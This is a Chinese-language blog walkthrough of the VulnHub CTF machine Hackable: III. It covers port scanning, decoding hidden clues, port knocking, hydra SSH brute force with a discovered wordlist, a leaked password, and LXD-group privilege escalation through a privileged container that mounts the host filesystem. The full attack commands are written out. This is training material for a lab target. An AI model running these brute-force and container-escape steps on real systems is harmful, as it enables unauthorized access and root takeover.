Hackable: III

靶机描述

靶机地址:https://download.vulnhub.com/hackable/hackable3.ova

Description

Focus on general concepts about CTF
Difficulty: Medium
This works better with VirtualBox rather than VMware.

信息收集

nmap探测详细端口信息

nmap -sS -sV -A -p- 192.168.56.106

image.png
探测到了robots.txt

Web发现

image.png
查看页面源代码发现
image.png
发现了登录地址login_page/login.html,还有一个用户名jubiscleudo,还提示了端口敲门

端口敲门(端口碰撞)技术是一种通过在一组预先指定的关闭端口上产生连接请求,从外部打开防火墙上的端口的方法。一旦收到正确的连接请求序列,防火墙规则就会被动态修改,以允许发送连接请求的主机通过特定端口进行连接。
也就是说,攻击者可能通过端口扫面来利用一些端口服务来发动攻击,但是一些固定的端口又需要开放来满足远程维护需求,因此,我们可以使用端口碰撞技术来形成一个访问控制。我们需要去碰撞一个特定的端口序列,才能够打开我们想要访问的端口。

登录页面
image.png
查看下robots.txt
image.png
查看/config
image.png
有一个1.txt
image.png
base64解码得到:10000,应该是端口敲门的端口之一
image.png

目录扫描

dirsearch -u http://192.168.56.106/

image.png
访问一下http://192.168.56.106/backup/
image.png
发现一个密码本
image.png
访问css页面,发现里面有个2.txt文件
image.png
image.png
Brainfuck解码
image.png
访问登录页面http://192.168.56.106/login.php,查看源码
image.png
访问一下3.jpg
image.png

图片隐写

image.png
看完了总结一下端口信息:44441000065535

SSH登录

按照文件名的顺序进行端口敲门10000444465535

knock 192.168.56.106 10000 4444 65535
nmap -A -p- 192.168.56.106

image.png
ssh打开后,用我们之前发现的用户名jubiscleudo,和发现的字典进行爆破

hydra -l jubiscleudo -P wordlist.txt 192.168.56.106 ssh 

image.png
ssh登录
image.png

提权

查看下系统内的文件
image.png
逐个访问目录,在访问/var/www/html下有隐藏文件.back_config.php,打开后得到hackable_3密码
image.png

hackable_3/TrOLLED_3

切换用户
image.png
通过id命令可以看到该用户在lxd组中(lxd和docker一样,是一种容器)
参考:https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation
image.png
由于靶机不出网,需要本地下载Alpine镜像

git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine

生成.tar.gz文件,打开server服务,传输给目标机

python -m SimpleHTTPServer

目标机获取镜像,将其以镜像的形式添加进LXD

wget http://192.168.75.150:8000/alpine-v3.16-x86_64-20220920_2354.tar.gz
lxc image import ./alpine-v3.16-x86_64-20220920_2354.tar.gz --alias myimage
lxc image list
#.tar.gz文件是根据时间生成的,需要根据自己情况更改名称,--alias后的名称也可以自己定义

初始化Container,否则在加载容器时会显示没有存储池

lxd init
//一路回车

image.png
执行如下命令,成功提权

lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

image.png
获取flag
image.png

posted @ 2024-05-05 01:16  NoCirc1e  阅读(15)  评论(0编辑  收藏  举报